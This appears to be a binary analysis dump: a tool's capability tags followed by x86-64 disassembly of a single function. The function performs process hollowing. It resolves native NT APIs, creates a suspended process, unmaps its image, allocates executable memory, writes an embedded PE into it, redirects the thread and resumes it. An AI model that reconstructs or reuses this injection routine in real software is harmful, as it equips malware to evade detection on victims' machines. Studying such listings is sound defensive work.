Function at 0x140046020
Capabilities:
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5e0]
sub rsp, 0x6e0
lea rcx, [0x1400c98f0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
lea rdx, str.NtReadVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
mov qword [rbp + 0x620], rax
lea rdx, str.NtWriteVirtualMemory
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea rdx, str.NtTerminateProcess
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea rdx, str.NtGetContextThread
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
lea rdx, str.NtSetContextThread
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
lea rdx, str.NtUnmapViewOfSection
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea rdx, str.NtResumeThread
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x630], rax
test r15, r15
je 0x1400463b3
test r14, r14
je 0x1400463b3
test rsi, rsi
je 0x1400463b3
test r12, r12
je 0x1400463b3
test r13, r13
je 0x1400463b3
test rdi, rdi
je 0x1400463b3
test rax, rax
je 0x1400463b3
lea rcx, [rsp + 0x68]
call fcn.140045dc0
nop
cmp qword [rsp + 0x78], 0
je 0x140046374
lea r9, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova r9, qword [rsp + 0x68]
lea r8, [0x1400c1e10]
mov edx, 0x104
lea rcx, [rbp]
call fcn.140043bc0
mov dword [rbp + 0x140], 0x10000b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rax
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140046374
mov eax, 0x5a4d
cmp word [0x1401924f0], ax
je 0x1400461f3
mov edx, 1
mov rcx, qword [rsp + 0x50]
call rsi
jmp 0x140046374
movsxd r15, dword [0x14019252c]
lea rdx, [rbp + 0x110]
mov rcx, qword [rsp + 0x58]
call r12
mov rdx, qword [rbp + 0x198]
add rdx, 0x10
mov qword [rsp + 0x20], rbx
mov r9d, 8
lea r8, [rbp + 0x628]
mov rcx, qword [rsp + 0x50]
call qword [rbp + 0x620]
lea rbx, [0x1401924f0]
lea r12, [rbx + 0x30]
add r12, r15
mov rdx, qword [rbp + 0x628]
cmp rdx, qword [r12]
jne 0x140046253
mov rcx, qword [rsp + 0x50]
call rdi
mov r8d, dword [r15 + rbx + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r12]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov rcx, qword [rsp + 0x50]
test rax, rax
jne 0x14004628e
mov edx, 1
call rsi
jmp 0x140046374
xor eax, eax
mov qword [rsp + 0x20], rax
lea rsi, [0x1401924f0]
mov r9d, dword [r15 + rsi + 0x54]
mov r8, rsi
mov rdx, rdi
call r14
xor eax, eax
mov ebx, eax
cmp ax, word [r15 + rsi + 6]
jae 0x14004630f
xor r12d, r12d
nop dword [rax]
mov eax, ebx
lea rcx, [rax + rax*4]
movsxd rax, dword [0x14019252c]
lea r9, [rax + rcx*8]
mov r8d, dword [r9 + rsi + 0x11c]
add r8, rsi
mov edx, dword [r9 + rsi + 0x114]
add rdx, rdi
mov qword [rsp + 0x20], r12
mov r9d, dword [r9 + rsi + 0x118]
mov rcx, qword [rsp + 0x50]
call r14
inc ebx
movzx eax, word [r15 + rsi + 6]
cmp ebx, eax
jb 0x1400462c0
lea r12, [rsi + 0x30]
add r12, r15
mov eax, dword [r15 + rsi + 0x28]
add rax, rdi
mov qword [rbp + 0x190], rax
mov rdx, qword [rbp + 0x198]
add rdx, 0x10
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9d, 8
mov r8, r12
mov rcx, qword [rsp + 0x50]
call r14
lea rdx, [rbp + 0x110]
mov rcx, qword [rsp + 0x58]
call r13
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [rbp + 0x630]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x1400463b3
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400463ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400463ae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400aab0c
mov rbx, qword [rsp + 0x738]
add rsp, 0x6e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
jmp 0x140046020